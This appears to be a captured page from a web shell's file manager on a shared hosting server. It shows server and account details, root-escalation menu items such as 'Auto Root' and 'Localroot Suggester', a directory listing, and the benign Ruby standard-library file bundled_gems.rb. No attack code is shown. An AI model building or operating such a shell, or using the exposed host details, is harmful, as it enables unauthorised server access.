Linux server165.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
Server IP : 68.65.122.53 & Your IP : 216.73.216.240
Domains :
Cant Read [ /etc/named.conf ]
User : vacazsti
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby40 /
share /
ruby /
Delete
Unzip
Name
Size
Permission
Date
Action
bigdecimal
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
cgi
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
did_you_mean
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
digest
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
erb
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
error_highlight
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
forwardable
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
io
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
json
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
net
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
objspace
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
open3
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
openssl
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
optparse
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
prism
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
psych
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
random
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
ripper
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
set
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
strscan
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
syntax_suggest
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
unicode_normalize
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
uri
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
vendor_ruby
[ DIR ]
drwxr-xr-x
2026-04-24 16:07
yaml
[ DIR ]
drwxr-xr-x
2026-05-14 08:42
English.rb
5.96
KB
-rw-r--r--
2026-04-24 16:08
bundled_gems.rb
8.41
KB
-rw-r--r--
2026-04-24 16:08
cgi.rb
311
B
-rw-r--r--
2026-04-24 16:08
coverage.rb
517
B
-rw-r--r--
2026-04-24 16:08
date.rb
1.17
KB
-rw-r--r--
2026-04-24 16:08
delegate.rb
11.96
KB
-rw-r--r--
2026-04-24 16:08
did_you_mean.rb
4.51
KB
-rw-r--r--
2026-04-24 16:08
digest.rb
3.3
KB
-rw-r--r--
2026-04-24 16:08
erb.rb
32.57
KB
-rw-r--r--
2026-04-24 16:08
error_highlight.rb
84
B
-rw-r--r--
2026-04-24 16:08
expect.rb
2.19
KB
-rw-r--r--
2026-04-24 16:08
fileutils.rb
79.18
KB
-rw-r--r--
2026-04-24 16:08
find.rb
2.54
KB
-rw-r--r--
2026-04-24 16:08
forwardable.rb
8.81
KB
-rw-r--r--
2026-04-24 16:08
ipaddr.rb
22.86
KB
-rw-r--r--
2026-04-24 16:08
json.rb
21.45
KB
-rw-r--r--
2026-04-24 16:08
mkmf.rb
93.16
KB
-rw-r--r--
2026-04-24 16:08
monitor.rb
6.97
KB
-rw-r--r--
2026-04-24 16:08
objspace.rb
4.14
KB
-rw-r--r--
2026-04-24 16:08
open-uri.rb
28.58
KB
-rw-r--r--
2026-04-24 16:08
open3.rb
47.51
KB
-rw-r--r--
2026-04-24 16:08
openssl.rb
1.24
KB
-rw-r--r--
2026-04-24 16:08
optionparser.rb
59
B
-rw-r--r--
2026-04-24 16:08
optparse.rb
65.44
KB
-rw-r--r--
2026-04-24 16:08
pathname.rb
2
KB
-rw-r--r--
2026-04-24 16:08
pp.rb
19.21
KB
-rw-r--r--
2026-04-24 16:08
prettyprint.rb
15.95
KB
-rw-r--r--
2026-04-24 16:08
prism.rb
3.74
KB
-rw-r--r--
2026-04-24 16:08
psych.rb
26.05
KB
-rw-r--r--
2026-04-24 16:08
resolv.rb
88.39
KB
-rw-r--r--
2026-04-24 16:08
ripper.rb
2.44
KB
-rw-r--r--
2026-04-24 16:08
securerandom.rb
2.28
KB
-rw-r--r--
2026-04-24 16:08
shellwords.rb
7.53
KB
-rw-r--r--
2026-04-24 16:08
singleton.rb
5.59
KB
-rw-r--r--
2026-04-24 16:08
socket.rb
61.26
KB
-rw-r--r--
2026-04-24 16:08
syntax_suggest.rb
74
B
-rw-r--r--
2026-04-24 16:08
tempfile.rb
20.7
KB
-rw-r--r--
2026-04-24 16:08
time.rb
24.01
KB
-rw-r--r--
2026-04-24 16:08
timeout.rb
10.48
KB
-rw-r--r--
2026-04-24 16:08
tmpdir.rb
5.62
KB
-rw-r--r--
2026-04-24 16:08
tsort.rb
14.36
KB
-rw-r--r--
2026-04-24 16:08
un.rb
11.17
KB
-rw-r--r--
2026-04-24 16:08
uri.rb
3.09
KB
-rw-r--r--
2026-04-24 16:08
weakref.rb
1.39
KB
-rw-r--r--
2026-04-24 16:08
yaml.rb
2.16
KB
-rw-r--r--
2026-04-24 16:08
Save
Rename
# -*- frozen-string-literal: true -*- # :stopdoc: module Gem end # :startdoc: module Gem::BUNDLED_GEMS # :nodoc: SINCE = { "racc" => "3.3.0", "abbrev" => "3.4.0", "base64" => "3.4.0", "bigdecimal" => "3.4.0", "csv" => "3.4.0", "drb" => "3.4.0", "getoptlong" => "3.4.0", "mutex_m" => "3.4.0", "nkf" => "3.4.0", "observer" => "3.4.0", "resolv-replace" => "3.4.0", "rinda" => "3.4.0", "syslog" => "3.4.0", "ostruct" => "4.0.0", "pstore" => "4.0.0", "rdoc" => "4.0.0", "win32ole" => "4.0.0", "fiddle" => "4.0.0", "logger" => "4.0.0", "benchmark" => "4.0.0", "irb" => "4.0.0", "reline" => "4.0.0", # "readline" => "4.0.0", # This is wrapper for reline. We don't warn for this. "tsort" => "4.1.0", }.freeze EXACT = { "kconv" => "nkf", }.freeze WARNED = {} # unfrozen conf = ::RbConfig::CONFIG LIBDIR = (conf["rubylibdir"] + "/").freeze ARCHDIR = (conf["rubyarchdir"] + "/").freeze dlext = [conf["DLEXT"], "so"].uniq DLEXT = /\.#{Regexp.union(dlext)}\z/ LIBEXT = /\.#{Regexp.union("rb", *dlext)}\z/ def self.replace_require(specs) return if [::Kernel.singleton_class, ::Kernel].any? {|klass| klass.respond_to?(:no_warning_require) } spec_names = specs.to_a.each_with_object({}) {|spec, h| h[spec.name] = true } [::Kernel.singleton_class, ::Kernel].each do |kernel_class| kernel_class.send(:alias_method, :no_warning_require, :require) kernel_class.send(:define_method, :require) do |name| if message = ::Gem::BUNDLED_GEMS.warning?(name, specs: spec_names) Kernel.warn message, uplevel: ::Gem::BUNDLED_GEMS.uplevel end kernel_class.send(:no_warning_require, name) end if kernel_class == ::Kernel kernel_class.send(:private, :require) else kernel_class.send(:public, :require) end end end def self.uplevel frame_count = 0 require_labels = ["replace_require", "require"] uplevel = 0 require_found = false Thread.each_caller_location do |cl| frame_count += 1 if require_found unless require_labels.include?(cl.base_label) return uplevel end else if require_labels.include?(cl.base_label) require_found = true end end uplevel += 1 # Don't show script name when bundle exec and call ruby script directly. if cl.path.end_with?("bundle") return end end require_found ? 1 : (frame_count - 1).nonzero? end def self.warning?(name, specs: nil) # name can be a feature name or a file path with String or Pathname feature = File.path(name).sub(LIBEXT, "") # The actual checks needed to properly identify the gem being required # are costly (see [Bug #20641]), so we first do a much cheaper check # to exclude the vast majority of candidates. subfeature = if feature.include?("/") # bootsnap expands `require "csv"` to `require "#{LIBDIR}/csv.rb"`, # and `require "syslog"` to `require "#{ARCHDIR}/syslog.so"`. feature.delete_prefix!(ARCHDIR) feature.delete_prefix!(LIBDIR) # 1. A segment for the EXACT mapping and SINCE check # 2. A segment for the SINCE check for dashed names # 3. A segment to check if there's a subfeature segments = feature.split("/", 3) name = segments.shift name = EXACT[name] || name if !SINCE[name] name = "#{name}-#{segments.shift}" return unless SINCE[name] end segments.any? else name = EXACT[feature] || feature return unless SINCE[name] false end if suppress_list = Thread.current[:__bundled_gems_warning_suppression] return if suppress_list.include?(name) || suppress_list.include?(feature) end return if specs.include?(name) # Don't warn if a hyphenated gem provides this feature # (e.g., benchmark-ips provides benchmark/ips, benchmark/timing, etc.) if subfeature prefix = feature.split("/").first + "-" return if specs.any? { |spec, _| spec.start_with?(prefix) } # Don't warn if the feature is found outside the standard library # (e.g., benchmark-ips's lib dir is on $LOAD_PATH but not in specs) resolved = $LOAD_PATH.resolve_feature_path(feature) rescue nil if resolved return unless resolved[1].start_with?(LIBDIR) || resolved[1].start_with?(ARCHDIR) end end return if WARNED[name] WARNED[name] = true level = RUBY_VERSION < SINCE[name] ? :warning : :error if subfeature "#{feature} is found in #{name}, which" else "#{feature} #{level == :warning ? "was loaded" : "used to be loaded"} from the standard library, but" end + build_message(name, level) end def self.build_message(name, level) msg = if level == :warning " will no longer be part of the default gems starting from Ruby #{SINCE[name]}" else " is not part of the default gems since Ruby #{SINCE[name]}." end if defined?(Bundler) motivation = level == :warning ? "silence this warning" : "fix this error" msg += "\nYou can add #{name} to your Gemfile or gemspec to #{motivation}." # We detect the gem name from caller_locations. First we walk until we find `require` # then take the first frame that's not from `require`. # # Additionally, we need to skip Bootsnap and Zeitwerk if present, these # gems decorate Kernel#require, so they are not really the ones issuing # the require call users should be warned about. Those are upwards. frames_to_skip = 3 location = nil require_found = false Thread.each_caller_location do |cl| if frames_to_skip >= 1 frames_to_skip -= 1 next end if require_found if cl.base_label != "require" location = cl.path break end else if cl.base_label == "require" require_found = true end end end if location && File.file?(location) && !location.start_with?(Gem::BUNDLED_GEMS::LIBDIR) caller_gem = nil Gem.path.each do |path| if location =~ %r{#{path}/gems/([\w\-\.]+)} caller_gem = $1 break end end if caller_gem msg += "\nAlso please contact the author of #{caller_gem} to request adding #{name} into its gemspec." end end else msg += " Install #{name} from RubyGems." end msg end def self.force_activate(gem) require "bundler" Bundler.reset! # Build and activate a temporary definition containing the original gems + the requested gem builder = Bundler::Dsl.new lockfile = nil if Bundler::SharedHelpers.in_bundle? && Bundler.definition.gemfiles.size > 0 Bundler.definition.gemfiles.each {|gemfile| builder.eval_gemfile(gemfile) } lockfile = begin Bundler.default_lockfile rescue Bundler::GemfileNotFound nil end else # Fake BUNDLE_GEMFILE and BUNDLE_LOCKFILE to let checks pass orig_gemfile = ENV["BUNDLE_GEMFILE"] orig_lockfile = ENV["BUNDLE_LOCKFILE"] Bundler::SharedHelpers.set_env "BUNDLE_GEMFILE", "Gemfile" Bundler::SharedHelpers.set_env "BUNDLE_LOCKFILE", "Gemfile.lock" end builder.gem gem definition = builder.to_definition(lockfile, nil) definition.validate_runtime! begin orig_ui = Bundler.ui orig_no_lock = Bundler::Definition.no_lock ui = Bundler::UI::Shell.new ui.level = "silent" Bundler.ui = ui Bundler::Definition.no_lock = true Bundler::Runtime.new(nil, definition).setup rescue Bundler::GemNotFound warn "Failed to activate #{gem}, please install it with 'gem install #{gem}'" ensure ENV['BUNDLE_GEMFILE'] = orig_gemfile if orig_gemfile ENV['BUNDLE_LOCKFILE'] = orig_lockfile if orig_lockfile Bundler.ui = orig_ui Bundler::Definition.no_lock = orig_no_lock end end end # for RubyGems without Bundler environment. # If loading library is not part of the default gems and the bundled gems, warn it. class LoadError def message # :nodoc: return super unless path name = path.tr("/", "-") if !defined?(Bundler) && Gem::BUNDLED_GEMS::SINCE[name] && !Gem::BUNDLED_GEMS::WARNED[name] warn name + Gem::BUNDLED_GEMS.build_message(name, :error), uplevel: Gem::BUNDLED_GEMS.uplevel end super end end